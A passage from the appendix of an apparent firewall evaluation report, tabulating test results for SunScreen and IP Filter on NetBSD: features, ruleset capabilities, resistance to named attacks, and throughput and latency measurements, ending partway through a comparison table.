Comments	The output of *ssadm logdump -i <logfilename>* can be used for further processing. Further on, it is possible to generate a file in **WELF**[3] with the tool *welfmt* . This file can be used to produce detailed reports on topics such as bandwidth usage, protocol distribution, Web activity, FTP transfers and Telnet sessions. To generate the report third-party software is recommended.
Test: Log information and alarm signals directly to the OS	
Result	☒
Comments	
Test: Send logging information and alarm signals instantly through a secure path	
Result	☒
Comments	
Test: React on specified incidents automatically	

[3] **WELF** - WebTrends Enhanced Log Format

Result	☒
Comments	

Table 155: SunScreen - usability

Number: V/II	
System: E	
Test: Detailed manual	
Result	☑
Comments	
Test: Online help	
Result	☑
Comments	
Test: Frequently asked questions	
Result	☑
Comments	
Test: Available in various languages	
Result	☒
Comments	The documentation is only available in english.
Test: Available in various medias	
Result	☑
Comments	The documentation is available on Website (html and pdf format), CD (pdf format), Online (build in the GUI) and Manpage (man ssadm).
Test: Explains the dependency on other software in detail	
Result	☑
Comments	
Test: Discusses known bugs in detail	
Result	☑
Comments	Bugs are discussed in the BigAdmin [http://www.sun.com/bigadmin] system.
Test: Up-to-date	
Result	☒
Comments	The documentation was changed the last time in september 2001.
Test: Website with additional information	
Result	☑
Comments	All information to SunScreen can be found on Sun's homepage [http://www.sun.com].

Table 156: SunScreen - documentation

A.5.6 Performance

Throughput depending on packet size

Number: VI/I	
System: E	
Ruleset	1
Scenario	1
Packet size (bytes)	**Throughput (MBit/s)**
100	42.61
200	77.92
300	115.61
400	143.01
500	170.18
600	196.21
700	221.42
800	242.86
900	260.57
1 000	285.07
1 100	292.18
1 200	305.24
1 300	328.51
1 400	332.78
1 500	18.94
2 000	270.33
4 000	136.22
8 000	5.04
16 000	4.94
32 000	3.68
64 000	321.22
Comment	The results fluctuate between 0 and around 330 at packet size 1400 and 1500.
Comment	During the tests at all packet sizes, the firewall does not react on any input. It seems that the system is frozen.
Comment	When sending packets which have to be fragmented (>1500) the probability increases that a single fragment is dropped by the firewall because of the overload situation. When a single fragment is dropped the entire IP packet can not be reassembled. This is the reason for the little throughput at 4000, 8000, 16000 and 32000 bytes packet size. The clients answer with an *ip reassembly time exceeded* error. At 64000 byte large packets this effect does strangely not occur.

Comment	It seems that the slower machine works faster than the faster machine, but that is not so. A test with Linux 2.6 and IP Tables on computer 2 results in 146 MBit/s at a packet size of 1500 byte. The high performance of Solaris with SunScreen does in this case not depend on the different hardware configuration but on the performance of the operating system or the firewall software.

Table 157: SunScreen - performance - throughput depending on packet size

Maximum throughput in routing mode with NAT/PAT

Number: VI/II	
System: E	
Ruleset	3
Scenario	1
Test: Maximum throughput in routing mode with NAT/PAT	
Result	309.34 MBit/s
Comments	Because of the strange behaviour at 1 500 bytes packet size, the test was done with 1 200 byte packets.

Table 158: SunScreen - performance - throughput in routing mode with NAT/PAT

Throughput depending on size of ruleset

Number: VI/III	
System: E	
Ruleset	6
Scenario	1
Loops / rules	**Throughput (MBit/s)**
10 / 143	308.07
20 / 283	310.18
30 / 423	308.74
40 / 563	310.68
50 / 703	307.22
60 / 843	312.67
70 / 983	309.82
80 / 1 123	310.56
90 / 1 263	310.52
100 / 1 403	307.48

200 / 2 803	310.79
300 / 4 203	302.47
400 / 5 603	301.57
500 / 7 003	300.04
600 / 8 403	308.88
700 / 9 803	302.72
Comment	Loading large ruleset lasts very long. The computer is swapping a lot. Upgrading the system memory shortens the waiting time (3 hours for the ruleset with 700 loops and 512 MB system memory).

Table 159: SunScreen - performance - throughput depending on size of ruleset

Throughput depending on activation of stateful inspection

Number: VI/IV	
System: E	
Ruleset	4
Scenario	1
Test: Throughput with activated stateful inspection	
Result	304.51 MBit/s
Comments	Because of the strange behaviour at 1 500 bytes packet size, the test was done with 1 200 byte packets.

Table 160: SunScreen - performance - throughput

Throughput depending on level of logging

Number: VI/V	
System: E	
Ruleset	7
Scenario	1
Logged computers	**Throughput (MBit/s)**
0	303.71
1	313.11
2	312.46
3	306.48
4	281.09
5	277.90

6	271.51
7	271.53
Comment	Because of the strange behaviour at 1 500 bytes packet size, the test was done with 1 200 byte packets.
Comment	Only a few packets were logged despite the log level *LOG DETAIL* . *ssadm traffic_stats* returns a so-called log failure for 6 308 370 packets.

Table 161: SunScreen - performance - throughput depending on level of logging

Throughput depending on number of simultaneous connections

Number: VI/VI	
System: E	
Ruleset	4
Scenario	1
Connections	**Throughput (MBit/s)**
2 000	303.24
5 000	305.46
10 000	304.44
20 000	308.26
50 000	303.57
100 000	307.37
200 000	307.55
350 000	306.71
Comment	Because of the strange behaviour at 1 500 bytes packet size, the test was done with 1 200 byte packets.

Table 162: SunScreen - performance - throughput depending on simultaneous connections

A.5.6.1 Latency

Best latency time through the firewall

Number: VI/VII	
System: E	
Ruleset	1
Scenario	2
Test: Best latency time	

Result	58.03 μs
Comments	

Table 163: SunScreen - performance - best latency time

Latency time depending on activation of NAT/PAT

Number: VI/VIII	
System: E	
Ruleset	3
Scenario	2
Test: Latency in routing mode with NAT/PAT	
Result	61.30 μs
Comments	

Table 164: SunScreen - performance - latency depending on NAT/PAT

Latency time depending on packet size

Number: VI/IX	
System: E	
Ruleset	1
Scenario	2
Packetsize (bytes)	**Latency** (μs)
100	62.42
200	74.39
300	85.57
400	94.66
500	104.29
600	112.92
700	121.24
800	131.78
900	143.67
1 000	150.06
1 100	159.01
1 200	167.33
1 300	178.54

1 400	186.64
1 500	212.29
2 000	223.36
4 000	303.14
8 000	481.02
16 000	826.75
32 000	1 549.69
64 000	3 127.04

Table 165: SunScreen - performance - latency depending on packet size

Latency time depending on size of ruleset

Number: VI/X	
System: E	
Ruleset	6
Scenario	2
Loops / rules	**Latency** (μs)
10 / 143	58.98
20 / 283	58.20
30 / 423	58.78
40 / 563	58.77
50 / 703	58.35
60 / 843	58.53
70 / 983	58.98
80 / 1 123	57.99
90 / 1 263	58.70
100 / 1 403	58.06
200 / 2 803	58.46
300 / 4 203	59.72
400 / 5 603	59.62
500 / 7 003	58.95
600 / 8 403	58.67
700 / 9 803	58.66
Comment	Loading large ruleset lasts very long. The computer is swapping a lot. Upgrading the system memory shortens the waiting time (3 hours for the ruleset with 700 loops and 512 MB system memory).

Table 166: SunScreen - performance - latency depending on ruleset

Latency time depending on activation of stateful inspection

Number: VI/XI	
System: E	
Ruleset	4
Scenario	2
Test: Latency at activated stateful inspection	
Result	57.89 μs
Comments	

Table 167: SunScreen - performance - latency depending on activation of stateful inspection

Latency time depending on level of logging

Number: VI/XII	
System: E	
Ruleset	7
Scenario	2
Test: Latency without logging	
Result	58.84 μs
Comments	
Test: Latency with activated logging	
Result	82.59 μs
Comments	

Table 168: SunScreen - performance - latency depending on level of logging

Latency time depending on number of simultaneous connections

Number: VI/XIII	
System: E	
Ruleset	4
Scenario	1
Connections	**Latency** (μs)
2 000	58.26
5 000	58.14
10 000	58.10
20 000	58.10

50 000	57.36
100 000	58.50
200 000	57.74
350 000	58.23

Table 169: SunScreen - performance - latency depending on simultaneous connections

Latency time depending on load on firewall system

Number: VI/XIV	
System: E	
Ruleset	1
Scenario	1
Test: Latency at traffic between 12 computers	
Result	no measurement data available
Comments	Test was not possible because of high packet loss. The latency tool returned the error message *No route to host* .

Table 170: SunScreen - performance - latency depending on load on firewall system

A.5.6.2 Maximum number of connections

Maximum number of simultaneous connections with activated stateful inspection

Number: VI/XV	
System: E	
Ruleset	4
Scenario	1
Test: Maximum number of simultaneous connections with activated stateful inspection	
Result	350 000
Comments	It might be possible to establish more connections.

Table 171: SunScreen - performance - simultaneous connections (1)

Maximum number of simultaneous connections with activated NAT/PAT

Number: VI/XVI

System: E	
Ruleset	3
Scenario	1
Test: Maximum number of simultaneous connections with activated NAT/PAT	
Result	350 000
Comments	It might be possible to establish more connections. *ssadm lib/nattables* returned 25 954 entries, *ssadm lib/statetables* 6 462.

Table 172: SunScreen - performance - simultaneous connections (2)

A.6 IP Filter on NetBSD

A.6.1 General requirements

Number: I/I	
System: E	
Test: Every traffic must go through the firewall	
Result	☑
Comments	Given by scenario.
Test: Every traffic that is not explicitly allowed has to be denied	
Result	☒
Comments	An empty ruleset allows all traffic.
Test: administration of the firewall must only be possible through a secure path	
Result	☑
Comments	SSH is the only way to connect (standard installation of NetBSD).
Test: The firewall itself must be resistant against attacks	
Result	◘
Comments	While nessus, sara and nmap did not find serious problems, ipf was not able to fend some of the critical attacks.
Test: The firewall must be resistent against failures	
Result	☒
Comments	In overload situations the firewall system crashes sometimes.

Table 173: IP Filter - general requirements

A.6.2 Optional features

Number: II/I	
System: E	
Test: Support for application filters and proxies	
Result	◘
Comments	Third party software (for example squid) is supported, transparent proxy support by redirect.
Test: Support for network and port address translation	
Result	☑
Comments	keywords: *map* , *bimap* , *map-block* , *rdr* and *portmap*
Test: Support for virtual private networks	
Result	☑
Comments	Ipsec is offered by the operating system layer.
Test: Support for user authentication	

Result	☒
Comments	
Test: Support for address aliasing	
Result	☑
Comments	This feature is offered by the operating system.
Test: Support for time based filtering	
Result	☒
Comments	Maybe possible using *cron* and *ipf* but not by *ipf* itself.
Test: Support for embedded antivirus	
Result	☒
Comments	Maybe possible using *rdr* and proxies but not by *ipf* itself-
Test: Support for URL filtering	
Result	☐
Comments	Transparent proxy support is available.
Test: Support for traffic management	
Result	☐
Comments	The included NAT can do simple load-balancing.
Test: Support for demilitarised zones	
Result	☑
Comments	Given by hardware and operating system.

Table 174: IP Filter - optional features

A.6.3 Rulesets and its configuration

Number: III/I	
System: E	
Test: Allow	
Result	☑
Comments	keyword: *pass*
Test: Deny and reject	
Result	☑
Comments	keywords: *return-rst* , *return-icmp*
Test: Deny and drop	
Result	☑
Comments	keyword: *block*
Test: Translate (**NAT**, **PAT**)	
Result	☑

Comments	keywords: *map* , *bimap* , *map-block* , *rdr* and *portmap*
Test: Defragment	
Result	☒
Comments	No explicit rule for this, all fragmented packets are reassembled automatically.
Test: Log	
Result	☑
Comments	keyword: *log*

Table 175: IP Filter - rulesets - actions on packets

Number: III/II	
System: E	
Test: Evaluate the unchanged ruleset in a specified order	
Result	☑
Comments	*ipf* evaluates the ruleset in last match order.
Test: Test the syntax of the ruleset on integrity and contradiction in terms	
Result	☑
Comments	via the command *ipf -n -f <configFile>*
Test: Test the semantics of the ruleset on integrity and contradiction in terms	
Result	☒
Comments	There maybe third party tools
Test: Define a ruleset in a language with a specified grammar	
Result	☑
Comments	*man 5 ipf* , *man 5 ipnat* and other manpages contain detailed grammars
Test: Handling of default rules	
Result	☑
Comments	The last matchs (or the first matchs including the keyword *quick*).
Test: Actuate stateful inspection	
Result	☑
Comments	keywords: *keep state*

Table 176: IP Filter - ruleset requirements

A.6.3.1 Subnet layer (OSI layer 2)

Number: III/III
System: E

Test: Act by means of the affected interface	
Result	☑
Comments	keyword: *on <interface>*
Test: Act by means of incoming or outgoing packets	
Result	☑
Comments	keywords: *in* , *out*
Test: Act by means of fields of Ethernet	
Result	☒
Comments	ipf only inspects on OSI3 and above.
Test: Act by means of other network technologies	
Result	☒
Comments	ipf only inspects on OSI3 and above.

Table 177: IP Filter - rulesets - subnet layer

Number: III/IV	
System: E	
Test: Ethernet address of destination	
Result	☒
Comments	ipf only inspects on OSI3 and above.
Test: Ethernet address of sender	
Result	☒
Comments	ipf only inspects on OSI3 and above.
Test: Protocol type	
Result	☒
Comments	ipf only inspects on OSI3 and above.
Test: Checksum	
Result	☒
Comments	ipf only inspects on OSI3 and above.

Table 178: IP Filter - rulesets - subnet layer - fields of Ethernet

A.6.3.2 Internet layer (OSI layer 3)

Number: III/V	
System: E	
Test: Act by means of fields of IPv4	
Result	☑

Comments	
Test: Act by means of fields of ICMPv4	
Result	☑
Comments	
Test: Act by means of fields of IPv6	
Result	☑
Comments	
Test: Act by means of fields of ICMPv6	
Result	☑
Comments	
Test: Act by means of other network technologies	
Result	☒
Comments	

Table 179: IP Filter - rulesets - internet layer

Number: III/VI	
System: E	
Test: Version	
Result	☑
Comments	differs between IPv4 and IPv6
Test: Internet header length	
Result	☒
Comments	
Test: Type of service	
Result	☑
Comments	keyword: *tos <number>*
Test: Total length	
Result	☒
Comments	
Test: Identification	
Result	☒
Comments	
Test: May/don't fragment flag	
Result	☒
Comments	
Test: Last/more fragment flag	
Result	☒

Comments	
Test: Fragment offset	
Result	☒
Comments	
Test: Time to live	
Result	☑
Comments	keyword: *ttl <number>*
Test: Protocol	
Result	☑
Comments	keyword: *proto <protocol>*
Test: Header checksum	
Result	☒
Comments	
Test: Source address	
Result	☑
Comments	keyword: *from <source>*
Test: Destination address	
Result	☑
Comments	keyword: *to <destination>*
Test: Options	
Result	☑
Comments	see *man ipf*

Table 180: IP Filter - rulesets - internet layer - fields of IPv4

Number: III/VII	
System: E	
Test: Type	
Result	☑
Comments	keyword: *icmp-type <type>*
Test: Code	
Result	☑
Comments	keyword: *code <code>*
Test: Checksum	
Result	☒
Comments	

Table 181: IP Filter - rulesets - internet layer - fields of ICMPv4

Number: III/VIII	
System: E	
Test: 0 - Echo reply	
Result	
Comments	
Test: 3 - Destination unreachable	
Result	
Comments	
Test: 4 - Source quench	
Result	
Comments	
Test: 5 - Redirect	
Result	
Comments	
Test: 8 - Echo	
Result	
Comments	
Test: 11 - Time exceeded	
Result	
Comments	
Test: 12 - Parameter problem	
Result	
Comments	
Test: 13 - Timestamp	
Result	
Comments	
Test: 14 - Timestamp reply	
Result	
Comments	
Test: 15 - Information request	
Result	
Comments	
Test: 16 - Information reply	
Result	
Comments	

Table 182: IP Filter - rulesets - internet layer - types of ICMP

Number: III/IX	
System: E	
Test: Version	
Result	☑
Comments	differs between IPv4 and IPv6
Test: Traffic class	
Result	☒
Comments	
Test: Flow label	
Result	☒
Comments	
Test: Payload length	
Result	☒
Comments	
Test: Next header	
Result	☒
Comments	
Test: Hop limit	
Result	☒
Comments	
Test: Source address	
Result	☑
Comments	keyword: *from <source>*
Test: Destination address	
Result	☑
Comments	keyword: *to <destination>*

Table 183: IP Filter - rulesets - internet layer - fields of IPv6

Number: III/X	
System: E	
Test: Type	
Result	☑
Comments	keyword: *icmp-type <type>*
Test: Code	
Result	☑
Comments	keyword: *code <code>*
Test: Checksum	

Result	
Comments	

Table 184: IP Filter - rulesets - internet layer - fields of ICMPv6

Number: III/XI	
System: E	
Test: 1 - Destination unreachable	
Result	
Comments	
Test: 2 - Packet too big	
Result	
Comments	
Test: 3 - Time exceeded	
Result	
Comments	
Test: 4 - Parameter problem	
Result	
Comments	
Test: 128 - Echo request	
Result	
Comments	
Test: 129 - Echo reply	
Result	
Comments	
Test: 130 - Group membership query	
Result	
Comments	
Test: 131 - Group membership report	
Result	
Comments	
Test: 132 - Group membership reduction	
Result	
Comments	

Table 185: IP Filter - rulesets - internet layer - types of ICMPv6

A.6.3.3 Transport layer (OSI layer 4)

Number: III/XII	
System: E	
Test: Source port	
Result	☑
Comments	keyword: *port <port>*
Test: Destination port	
Result	☑
Comments	keyword: *port <port>*
Test: Sequence number	
Result	☒
Comments	
Test: Acknowledgment number	
Result	☒
Comments	
Test: Data offset	
Result	☒
Comments	
Test: Bit 101 - Bit 106 (reserved)	
Result	☒
Comments	
Test: URG: Urgent pointer field significant	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: ACK: Acknowledgment field significant	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: PSH: Push function	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: RST: Reset the connection	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: SYN: Synchronise sequence numbers	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: FIN: No more data from sender	
Result	☑
Comments	keyword: *flags <check>/<mask>*

Test: Window	
Result	☒
Comments	
Test: Checksum	
Result	☒
Comments	
Test: Urgent pointer	
Result	☒
Comments	
Test: Options	
Result	☒
Comments	
Test: Padding	
Result	☒
Comments	

Table 186: IP Filter - rulesets - transport layer - fields of TCP

Number: III/XIII	
System: E	
Test: Source port	
Result	☑
Comments	keyword: *port <port>*
Test: Destination port	
Result	☑
Comments	keyword: *port <port>*
Test: Length	
Result	☒
Comments	
Test: Checksum	
Result	☒
Comments	

Table 187: IP Filter - rulesets - transport layer - fields of UDP

A.6.4 Security and its configuration

A.6.4.1 Access to the firewall

Number: IV/I	
System: E	
Test: Access must only be granted through a secure path	
Result	
Comments	SSH server supports SSH protocol version 1. Switch protocol version in sshd_config to 2 to reach highest security.
Test: User authentication must happen with strong encryption	
Result	
Comments	Passwords are stored using MD5 or DES.
Test: The role of a reviser must be offered	
Result	
Comments	An user has to be created explicitely.
Test: Access to the system must be logged	
Result	
Comments	*/var/log/authlog*

Table 188: IP Filter - security - access

A.6.4.2 Hardening the operating system

Number: IV/II	
System: E	
Test: The firewall should only depend on necessary software	
Result	
Comments	Used size: less than 500MB, no unnecessary software like desktop environment, games or unused services is installed

Table 189: IP Filter - security - operating system

A.6.4.3 Selftests

Number: IV/III	
System: E	
Test: Test integrity in non regular intervals	
Result	
Comments	
Test: List current connections	

Result	
Comments	*ipnat -l*

Table 190: IP Filter - security - selftests

A.6.4.4 Guessing and fingerprinting

Number: IV/IV	
System: E	
Ruleset	1
Scenario	1
Test: The firewall must hide its properties	
Result	
Comments	NetBSD 1.3I through 1.6
Test: The firewall must use random sequence numbers	
Result	
Comments	Nmap Class: random positive increments; Difficulty: 12906605 (Good Luck!).
Test: The firewall must use random IP ID's	
Result	
Comments	incremental
Test: The firewall must be able to rewrite packets	
Result	
Comments	

Table 191: IP Filter - security - fingerprinting

A.6.4.5 Logging and notification

Number: IV/V	
System: E	
Test: Log to persistant storage	
Result	
Comments	*ipmon* has to be started manually.
Test: Log rotation	
Result	
Comments	Log rotation has to be set up manually.

Test: Log backup/transfer	
Result	
Comments	Log backup can be scripted easily.
Test: Automatic logfile processing/scripting	
Result	
Comments	via *ipmon*
Test: Maximum logfile size	
Result	1 TB
Comments	The size is limited by the used filesystem (ufs2) and storage device.
Test: Ability to log any information which it can filter by	
Result	
Comments	
Test: Ability to alert admin in case of emergency	
Result	
Comments	see *ipmon.conf*
Test: Ability to alert by mail	
Result	
Comments	see *ipmon.conf*
Test: Ability to alert by pager	
Result	
Comments	see *ipmon.conf*
Test: Ability to alert by sms	
Result	
Comments	see *ipmon.conf*
Test: Ability to alert by snmp trap	
Result	
Comments	see *ipmon.conf*

Table 192: IP Filter - security - logging

A.6.4.6 Default behaviour on start-up

Number: IV/VI	
System: E	
Test: The firewall must start up in a secure state	
Result	

Comments	You have to manually set the correct order of activation of ipf and ipforwarding. If ipforwarding is enabled earlier than ipf, the firewall is vulnerable.
Test: An empty ruleset should deny all packets	
Result	☒
Comments	There is an implicit rule to pass all traffic caused by the generic kernel.

Table 193: IP Filter - security - default config

A.6.4.7 Fending known attacks

Fending known attacks with ruleset 1

Number: IV/VII	
System: E	
Ruleset	1
Scenario	1
Test: Land attack	
Result	☒
Comments	It is not possible to create a rule which blocks packets which have the same source and destination IP address and port.
Test: Smurf attack	
Result	☑
Comments	Broadcast **ICMP** packets are not routed.
Test: UDP smurf attack	
Result	☑
Comments	Broadcast **UDP** packets are not routed.
Test: ICMP flood attack	
Result	☒
Comments	It is not possible to limit the amount of ICMP packets.
Test: Fragmentation attacks	
Result	☒
Comments	Tiny fragments are routed through the firewall.
Test: ARP spoofing	
Result	☑
Comments	Kernel reports: *beastie /netbsd 00:07:e9:0d:c6:90 tried to overwrite permanent arp info for 192.168.100.2*
Test: WinNuke attack	

Result	
Comments	By default packets with out-of-band data become routed but you can filter the packets by *block in proto tcp all flags U* .
Test: IP spoofing	
Result	
Comments	Spoofed packets are routed through the firewall.

Table 194: IP Filter - security - known attacks (1)

Fending known attacks with ruleset 2

Number: IV/VIII	
System: E	
Ruleset	2
Scenario	1
Test: TCP connect scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP connect scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan left1	

Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.

Table 195: IP Filter - security - known attacks (4)

Fending known attacks with ruleset 4

Number: IV/IX	
System: E	
Ruleset	4
Scenario	1
Test: DNS spoofing	
Result	
Comments	Packets (DNS replies) are only allowed on already established streams.
Test: ACK storm	
Result	
Comments	Desynchronised packets passed the firewall.
Test: Syn flood attack	

Result	☒
Comments	Connections to the attacked service are not possible during the test, but new connections to other machines or other ports are possible further on.

Table 196: IP Filter - security - known attacks (2)

Fending known attacks with ruleset 5

Number: IV/X	
System: E	
Ruleset	5
Scenario	1
Test: Buffer overflow - nessus	
Result	☑
Comments	Nessus did not find any vulnerabilities.
Test: Buffer overflow - sara	
Result	☑
Comments	Sara did not find any vulnerabilities.

Table 197: IP Filter - security - known attacks (3)

A.6.5 Usability and documentation

Number: V/I	
System: E	
Test: Easily comprehensible and transparent, no hidden options or implicit rules	
Result	☑
Comments	The default behaviour is to pass all traffic caused by the generic kernel.
Test: Easily comprehensible syntax and semantics of the ruleset	
Result	☐
Comments	A single rule is like an english sentence but the whole ruleset can easily grow to a large size.
Test: Ability to store the current ruleset	
Result	☑
Comments	
Test: Log in at least one widely known format	
Result	☑

Comments	The output of syslog is a widely known format.
Test: Log information and alarm signals directly to the OS	
Result	
Comments	syslog
Test: Send logging information and alarm signals instantly through a secure path	
Result	
Comments	see *man ipmon*
Test: React on specified incidents automatically	
Result	
Comments	see *man ipmon*

Table 198: IP Filter - usability

Number: V/II	
System: E	
Test: Detailed manual	
Result	
Comments	IP Filter howto [http://www.obfuscation.org/ipf/]
Test: Online help	
Result	
Comments	*man ipf* , *man ipfilter* , *man ipfs* , *man ipfstat* , *man ipftest* , *man ipl* , *man ipmon* , *man ipnat* , *man ippool* , *man ipscan* , *man mkfilters*
Test: Frequently asked questions	
Result	
Comments	IP Filter FAQ [http://www.phildev.net/ipf/]
Test: Available in various languages	
Result	
Comments	For example available in english, german, turkish and polish.
Test: Available in various medias	
Result	
Comments	TXT, PS, PDF, HTML, manpage
Test: Explains the dependency on other software in detail	
Result	
Comments	
Test: Discusses known bugs in detail	
Result	
Comments	
Test: Up-to-date	
Result	

Comments	
Test: Website with additional information	
Result	
Comments	IP Filter [http://coombs.anu.edu.au/ avalon/]

Table 199: IP Filter - documentation

A.6.6 Performance

Throughput depending on packet size

Number: VI/I	
System: E	
Ruleset	1
Scenario	1
Packet size (bytes)	**Throughput (MBit/s)**
100	5.47
200	8.78
300	13.56
400	17.38
500	17.68
600	20.35
700	23.73
800	27.12
900	26.98
1 000	27.26
1 100	27.21
1 200	28.37
1 300	27.05
1 400	26.56
1 500	25.92
2 000	24.53
4 000	23.06
8 000	16.23
16 000	2.77
32 000	0.00
64 000	0.00
Comment	During the test the firewall puts an error message to the screen: *wm1: Receive overrun* several thousand times

Comment	When running the test with traffic between only two computers the firewall can reach a throughput of 186 MBit/s.
Comment	The firewall crashes several times. Reboot was necessary.
Comment	When sending packets which have to be fragmented (>1 500) the probability increases that a single fragment is dropped by the firewall because of the overload situation. When a single fragment is dropped the entire IP packet can not be reassembled. This is the reason for the little throughput at 16 000, 32 000 and 64 000 bytes packet size. The clients answer with an *ip reassembly time exceeded* error.

Table 200: IP Filter - performance - throughput depending on packet size

Maximum throughput in routing mode with NAT/PAT

Number: VI/II	
System: E	
Ruleset	3
Scenario	1
Test: Maximum throughput in routing mode with NAT/PAT	
Result	25.76 MBit/s
Comments	1 500 byte large packets

Table 201: IP Filter - performance - throughput in routing mode with NAT/PAT

Throughput depending on size of ruleset

Number: VI/III	
System: E	
Ruleset	6
Scenario	1
Loops / rules	**Throughput (MBit/s)**
10 / 154	25.93
20 / 294	25.98
30 / 434	25.92
40 / 574	25.91
50 / 714	25.89
60 / 854	25.01
70 / 994	25.96
80 / 1 134	25.90

90 / 1 274	26.01
100 / 1 414	26.04
200 / 2 814	25.97
300 / 4 214	25.96
400 / 5 614	25.92
500 / 7 014	25.98
600 / 8 414	25.98
700 / 9 814	25.92
Comment	When running the test with traffic between only two computers at 700 loops, the firewall can reach a throughput of 186 MBit/s.

Table 202: IP Filter - performance - throughput depending on size of ruleset

Throughput depending on activation of stateful inspection

Number: VI/IV	
System: E	
Ruleset	4
Scenario	1
Test: Throughput with activated stateful inspection	
Result	25.76 MBit/s
Comments	When running the test with traffic between only two computers the firewall can reach a throughput of 186.87 MBit/s.

Table 203: IP Filter - performance - throughput

Throughput depending on level of logging

Number: VI/V	
System: E	
Ruleset	7
Scenario	1
Logged computers	**Throughput (Mbit/s)**
0	26.00
1	25.99
2	25.92
3	26.03

4	25.99
5	25.95
6	25.98
7	26.00

Table 204: IP Filter - performance - throughput depending on level of logging

Throughput depending on number of simultaneous connections

Number: VI/VI	
System: E	
Ruleset	4
Scenario	1
Connections	**Throughput (MBit/s)**
2 000	26.16
5 000	25.87
10 000	26.17
20 000	26.16
50 000	26.12
100 000	26.08
200 000	26.14
350 000	26.00

Table 205: IP Filter - performance - throughput depending on simultaneous connections

A.6.6.1 Latency

Best latency time through the firewall

Number: VI/VII	
System: E	
Ruleset	1
Scenario	2
Test: Best latency time	
Result	76.51 μs
Comments	

Table 206: IP Filter - performance - best latency time

Latency time depending on activation of NAT/PAT

Number: VI/VIII	
System: E	
Ruleset	3
Scenario	2
Test: Latency in routing mode with NAT/PAT	
Result	79.09 μs
Comments	

Table 207: IP Filter - performance - latency depending on NAT/PAT

Latency time depending on packet size

Number: VI/IX	
System: E	
Ruleset	1
Scenario	2
Packet size (bytes)	**Latency** (μs)
100	78.68
200	88.15
300	97.23
400	106.13
500	113.59
600	124.05
700	134.41
800	145.09
900	157.89
1 000	164.77
1 100	173.16
1 200	179.85
1 300	184.99
1 400	193.85
1 500	203.18
2 000	214.38
4 000	285.76

8 000	438.44
16 000	727.45
32 000	1 274.77
64 000	2 465.75

Table 208: IP Filter - performance - latency depending on packet size

Latency time depending on size of ruleset

Number: VI/X	
System: E	
Ruleset	6
Scenario	2
Loops / rules	**Latency** (μs)
10 / 154	77.97
20 / 294	77.88
30 / 434	77.69
40 / 574	77.22
50 / 714	77.84
60 / 854	77.03
70 / 994	77.55
80 / 1 134	77.97
90 / 1 274	77.55
100 / 1 414	77.38
200 / 2 814	77.91
300 / 4 214	76.57
400 / 5 614	77.23
500 / 7 014	76.81
600 / 8 414	77.85
700 / 9 814	77.46

Table 209: IP Filter - performance - latency depending on ruleset

Latency time depending on activation of stateful inspection

Number: VI/XI	
System: E	
Ruleset	4

Scenario	2
Test: Latency at activated stateful inspection	
Result	77.02 μs
Comments	

Table 210: IP Filter - performance - latency depending on activation of stateful inspection

Latency time depending on level of logging

Number: VI/XII	
System: E	
Ruleset	7
Scenario	2
Test: Latency without logging	
Result	78.06 μs
Comments	
Test: Latency with activated logging	
Result	77.70 μs
Comments	

Table 211: IP Filter - performance - latency depending on level of logging

Latency time depending on number of simultaneous connections

Number: VI/XIII	
System: E	
Ruleset	4
Scenario	1
Connections	**Latency** (μs)
2 000	77.52
5 000	77.42
10 000	77.44
20 000	77.62
50 000	78.36
100 000	77.36
200 000	78.07
350 000	77.83

Table 212: IP Filter - performance - latency depending on simultaneous connections

Latency time depending on load on firewall system

Number: VI/XIV	
System: E	
Ruleset	1
Scenario	1
Test: Latency at traffic between 12 computers	
Result	110 941.72 μs
Comments	test was only possible with TCP connection because of high packet loss

Table 213: IP Filter - performance - latency depending on load on firewall system

A.6.6.2 Maximum number of connections

Maximum number of simultaneous connections with activated stateful inspection

Number: VI/XV	
System: E	
Ruleset	4
Scenario	1
Test: Maximum number of simultaneous connections with activated stateful inspection	
Result	350 000
Comments	It might be possible to establish more connections. You can count it via *ipnat -l | wc -l* .

Table 214: IP Filter - performance - simultaneous connections (1)

Maximum number of simultaneous connections with activated NATPAT

Number: VI/XVI	
System: E	
Ruleset	3
Scenario	1
Test: Maximum number of simultaneous connections with activated NAT/PAT	
Result	350 000

Comments	It might be possible to establish more connections. You can count it via *ipnat -l | wc -l* .

Table 215: IP Filter - performance - simultaneous connections (2)

A.7 General comparison table

Category	System A	System B	System C	System D	System E
General requirements ($p_{general}$)	70.0%	70.0%	70.0%	70.0%	50.0%
$r_{general_1}$	✓	✓	✓	✓	✓
$r_{general_2}$	✗	✗	✓	✓	✗
$r_{general_3}$	✓	✓	✓	✗	✓
$r_{general_4}$	✓	✓	○	○	○
$r_{general_5}$	○	○	✗	✓	✗
Optional features ($p_{features}$)	65.0%	60.0%	75.0%	75.0%	55.0%
$r_{features_1}$	○	○	✓	✓	○
$r_{features_2}$	✓	✓	✓	○	✓
$r_{features_3}$	✓	✓	✓	✓	✓
$r_{features_4}$	○	○	✓	✓	✗
$r_{features_5}$	✓	✗	✗	✗	✓
$r_{features_6}$	✗	○	✓	✓	✗
$r_{features_7}$	✗	✗	○	○	✗
$r_{features_8}$	○	○	○	✓	○
$r_{features_9}$	✓	✓	○	○	○
